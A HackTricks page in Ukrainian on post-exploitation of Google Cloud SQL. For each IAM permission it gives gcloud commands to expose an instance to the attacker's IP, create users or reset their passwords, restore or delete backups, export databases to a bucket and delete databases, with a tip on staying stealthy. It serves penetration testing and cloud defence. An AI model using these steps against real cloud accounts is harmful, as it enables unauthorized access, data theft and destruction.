GCP - Cloud SQL Post Exploitation

Support HackTricks

Cloud SQL

Для отримання додаткової інформації про Cloud SQL перегляньте:

GCP - Cloud SQL Enum

cloudsql.instances.update, ( cloudsql.instances.get)

Щоб підключитися до баз даних, вам потрібен доступ до порту бази даних і знати ім'я користувача та пароль, немає жодних вимог IAM. Отже, простий спосіб отримати доступ, якщо база даних має публічну IP-адресу, - це оновити дозволені мережі та дозволити вашій власній IP-адресі отримати доступ до неї.

# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet

mysql -h <ip_db> # If mysql

# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet

Також можливо використовувати --no-backup для порушення резервних копій бази даних.

Оскільки це вимоги, я не зовсім впевнений, для чого потрібні дозволи cloudsql.instances.connect та cloudsql.instances.login. Якщо ви знаєте, надішліть PR!

cloudsql.users.list

Отримати список усіх користувачів бази даних:

gcloud sql users list --instance <intance-name>

cloudsql.users.create

Ця дозволяє створити нового користувача всередині бази даних:

gcloud sql users create <username> --instance <instance-name> --password <password>

cloudsql.users.update

Цей дозвіл дозволяє оновлювати користувача всередині бази даних. Наприклад, ви можете змінити його пароль:

gcloud sql users set-password <username> --instance <instance-name> --password <password>

cloudsql.instances.restoreBackup, cloudsql.backupRuns.get

Резервні копії можуть містити стару чутливу інформацію, тому цікаво їх перевірити. Відновіть резервну копію всередині бази даних:

gcloud sql backups restore <backup-id> --restore-instance <instance-id>

Щоб зробити це більш приховано, рекомендується створити новий SQL екземпляр і відновити дані там, а не в поточних базах даних.

cloudsql.backupRuns.delete

Ця дозволяє видаляти резервні копії:

gcloud sql backups delete <backup-id> --instance <instance-id>

cloudsql.instances.export, storage.objects.create

Експортуйте базу даних до Cloud Storage Bucket, щоб ви могли отримати до неї доступ звідти:

# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>

cloudsql.instances.import, storage.objects.get

Імпортувати базу даних (перезаписати) з Cloud Storage Bucket:

# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>

cloudsql.databases.delete

Видалити базу даних з екземпляра бази даних:

gcloud sql databases delete <db-name> --instance <instance-id>
Підтримайте HackTricks

Last updated